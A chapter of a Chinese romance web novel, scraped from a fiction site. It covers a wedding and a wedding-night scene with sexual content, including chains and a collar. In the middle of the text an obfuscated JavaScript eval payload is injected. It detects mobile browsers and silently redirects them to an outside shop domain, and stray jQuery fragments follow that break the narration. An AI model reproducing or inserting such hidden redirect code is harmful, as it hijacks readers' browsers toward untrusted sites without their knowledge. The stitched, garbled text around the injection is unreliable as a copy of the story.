文趣网 > 其他小说 > 曼塔宠溺[先婚后爱] > 45. 第45朵曼塔
    安水芸来这趟婚礼是带着审视的态度。

    毕竟是身边好朋友的婚礼,在她的心中,沈书眠就是一个非常好的人。

    不过这次她挑剔了半天,最后真的第一次觉得……虽然圈内很多人都在说江祁屿行事的时候很疯。

    但在伴侣的角度上看竟然觉得很爽。

    整个婚礼都没有她好友需要操心的地方,不仅如此,之前就差点把她气死的沈家,现在就连主动上前都不敢。

    真是疯有疯的好处。

    不像身后那个古板呆瓜……算了,他好像也不是什么时候都很死板。

    安水芸一边轻咳了两声,回到之前的新娘房间里推开门。

    此时的沈书眠已经换成了另外一套更轻便、没有婚纱长拖尾和头纱的礼裙。

    似乎还在伸手看着她身旁花店的两个女员工指点着什么。

    她走上前:“都这个时候了你还在忙呢?”

    “之前有套灵感,想拿去投稿到自媒体上参加活动。”

    沈书眠也不藏着:“你要是有空的话,回头如果有什么设备能借我吗?”

    “当然可以啊!”

    安水芸随意看了一眼:“那些推流应该都是正常活动、不会有什么问题的吧?”

    “不会,我就是图一个引流,真要活动的话还是更想去筹备作品去明年的国际展览上,如果能申请成功就好了。”

    沈书眠倒是也没有想到那么远,不求有一个非常厉害的成绩。

    但是她也梦想着能有一天将轻眠的名字放在国际舞台上。

    “你还真别说,之前你光是和……和你前任在一起的时候,你连花店里的事情都不会告诉他。”

    安水芸也感慨了一下,“现在感觉好多了。”

    “你连这种时候都能安心去处理花店的事情,也不会担心身边有谁会因为你想做的事业而说话不好听。”

    而且,安水芸总觉得江祁屿不仅自己不会说那种打压人的话。

    说不定也不让别人说。

    沈书眠听见安水芸凑上前来,眼神狐疑:“说真的。”

    “你们俩以前真的什么都没有?”

    她愣了愣,下意识道:“当然没有。”

    她和江祁屿,在以前连经常在一起说话的机会都没多少。

    顶多……

    印象最深刻的时候,也就上体育课或者放学课外时间,能从操场上看见男人打篮球的身影。

    即使是这种画面对沈书眠来说也是模糊的。

    因为她那个时候还有很多小事情要忙,未曾成熟发育的少女内心装着很多枷锁,也无暇顾及其他。

    哪里还会有什么别的?

    “总感觉江祁屿怎么会这么正常……感觉你们站在一起的时候,就会给我一种有感情基础、自由恋爱上的夫妻。”

    安水芸嘀咕了一句:“那如果真的没有交集,看来你们领证之后相处得还挺好的。”

    但沈书眠脑海一下子就想起之前在那家吃牛排的店里,钱文斌曾给她讲过的一个小故事。

    思绪中不断浮现出那个在角落中拿出照片、在手心里轻轻只指尖摩挲的身影。

    沈书眠缓缓垂眸。

    “表面联姻。”

    “没有你想的那么夸张。”

    安水芸顺着林友美递过来的手机画面上看,一边在夸好友新准备风格设计草图一看就很有品味。

    倒是从方才开始,就一直跟在安水芸身后的姚柏玉,无声地看了她一眼。

    沈书眠也确实觉得有些心烦意燥。

    直到整个婚礼、包括晚餐时间都已经结束,她回到了两个人的别墅主卧里,在床边看着手机发来的那条短信。

    她只是觉得有些感慨。

    似乎有些人,在记忆中的模样也一点点改变了。

    变成了沈书眠全然不认识的样子。

    或许是因为今天有一个特殊的仪式和场合,再加上这样的夜晚,沈书眠也觉得自己内心中的哪个更为感性的部分也逐渐被唤醒。

    她拿出从沈家带走的那个小盒子。

    里面装下的都是她之前的回忆。

    沈书眠这个人,或许太贫瘠了,在那个少女时代里,就连一片足以证明对方存在偏爱的小树叶,都足够让她用最大的努力保留下来。

    里面还有更多零零碎碎的小东西。

    “在看什么?”

    沈书眠整个人都愣了愣。

    猛地被吓一跳,手上放着的一个小玩偶就这么从掌心松开,下一秒就被另一只更大的手掌接住。

    “我又不会吃人,你在怕什么?”

    沈书眠莫名涌起一股诡异的心虚,连她自己都不知道在心虚什么。

    只是更加低着头,从男人的手掌里拿过这个小的玩偶。

    看得出来很旧了。

    一些就算用上漂白剂也没有办法阻止的泛黄,还有一些明显已经开始结毛的毛绒。

    江祁屿身上还穿着今天的礼服。

    两个人的衣服都还没换回去。

    江祁屿看着那个玩偶:“这是什么?”

    沈书眠将它放好在盒子里面,将盒子关起来。

    她只是解释:“就是以前的一些小东西。”

    里面也确实没有太多信件一样的东西,就算看见了也不知道是自己小时候就拥有的、还是有谁曾经赠送过的。

    反而是成年之后,吴嘉许每次拿着带有贺卡的花束来找沈书眠,上面的贺卡她都没有留下。

    不是吴嘉许写的。

    况且他大部分时间买的还是沈晴宝花店里的套装模板花束。

    沈书眠不想留。

    “以前……读书的时候?”

    江祁屿的语气似乎刻意地拉长了尾音:“高中的时候好像没怎么见过。”

    倒是里面的其中一两样东西。

    似乎能从江祁屿勉强刮搜出来的记忆中找到一些痕迹。

    但沈书眠已经直接起身,说自己要去洗漱睡觉了。

    男人从方才开始就一直盯着,发现到现在为止,都没能看见一次对方的眼神。

    沈书眠没能察觉到旁边男人眼神中逐渐晦暗的变化,只是手上的盒子还没放下多久,忽然就觉得自己的身体被人打横抱了起来。

    “你是不是忘记了什么?”

    男人顺手将盒子就扔到了旁边的沙发上。

    因为沙发为止上的柔软弹性,已经上锁的小盒子在上面正好滚了一圈,刚好正着为止摆放在上面。

    不偏不倚。

    就在他们两人这张大床的对面。

    要是有人在这个沙发上坐下,就能看见整张床的全景。

    “什、什么?”

    沈书眠猛地对上那双眼睛。

    之前一向觉得蓝宝石一样带着碎光的眼睛,在今晚看上去像是被披上了一层淡淡的灰色。

    就像是在深夜中,走进被深蓝色染上的森林当中,只有周遭还能看到些许颜色,逐渐往里面一点点探进去,几乎就变成了漆黑一片的——

    一种未知的危险。

    明明还没来得及做什么,沈书眠却已经觉得自己的双手有些不受控制地发软。

    只看见江祁屿眯了眯眼。

    “今晚算新婚之夜。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750153|204763||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“老婆。”

    话音刚落,吻已经在沈书眠开口之前就覆盖了上来。

    不管后面沈书眠对这句话有任何感想,都在这个颇感强势的亲吻中变得昏沉迷离。

    男人经过这段时间的每天磨合,在技法上早就已经远远超过了沈书眠这样呆板的“好好学生”。

    娴熟的卷动、像是在舞台中央上不断领着她飞舞的男舞者,用自己身体上所有的技法、每一处细节都带动着整支舞蹈的走向。

    沈书眠光是要跟上就觉得有些费力。

    只是在想今晚的江祁屿似乎有点过于强势。

    “新婚之夜就该给点惊喜,你说是吗?”

    沈书眠眨了眨眼睛。

    她们白天的时候换下的礼服,始终都是围绕着雪花的题材来做的。

    随着从婚纱、到自助餐的席位、到最后坐到那辆加长迈巴赫,都用雪花纹路的不断减少和一些植物晕染的颜色逐渐添加,就像是变成了一场从冬天的冷意不断消融、迎来春天的意象。

    在结婚这样的场合上也显得意头不错。

    但沈书眠也没有想到,现在穿着的这套礼服竟然随便拽一拽,突起的锁骨就已经能轻易被江祁屿尽收眼底。

    江祁屿做的时候总有一种诡异的仪式感。

    尤其是在前期工作中做得更是尽心尽力,不仅花样多、要用的时间还很长。

    有时候沈书眠在还没吃到正餐以前,就已经觉得她吃前菜的部分已然足够饱腹。

    显然这位专门一对一做饭的主厨有他自己的想法。

    “不然的话你不安全。”

    江祁屿的声音也明显已经沙哑。

    仔细一听还能听见一些液体粘稠在口腔中的声音,随着之后喉结上明显能看见的滚动。

    男人在她的上方。

    沈书眠像是在看着天花板视角。

    江祁屿一颗一颗地扭开了纽扣。

    “上次你喜欢的衣服。”

    “这次换了婚服版本。”

    “要不要试试喜不喜欢?”

    沈书眠:“……”

    她是真的觉得江祁屿开始知道她要怎么拿捏最方便了。

    回应逐渐变得热烈。

    沈书眠的大脑也终于失去了所有理性,随着领带被绷紧到极致的拉扯音,那一根弦也一起崩断。

    夜影的摇晃。

    被重新戴在脖子上的圆形配件。

    不断听见的锁链的碰撞声。

    逐渐被哭泣和求饶一点点代替。

    在沈书眠迷迷糊糊的时候,她听见江祁屿问。

    “真的只喜欢衣服玩法?”

    “不用带上角色?”

    沈书眠已经完全没有了力气,想锤人最后被一道轻轻的挪动,闷哼着抓住了江祁屿的肩膀。

    试图从他肩膀上留下一点泄愤的印记。

    “下次真的不买点新鲜的小东西试试?”

    男人在耳边的喘息也比以往更加让人脸红。

    沈书眠有一瞬间的心动。

    但咬着牙在抵抗着即将叫出来的声音,也就无暇顾及拒绝。

    沈书眠根本不知道最后的时间到底过了多长。

    光是洗澡就多洗了几回,到最后连一个个洗都顾不上了,江祁屿抱着她两个人一起洗。

    第二天,沈书眠睡得不安稳。

    醒过来的时候发现天边的景色还有一点昏暗,以为是到了凌晨。

    还算自己起得比较早。

    没想到拿出手机看了一眼,竟然是傍晚的时间。

    有人的未接电话,在一个晚上就多添加了几个。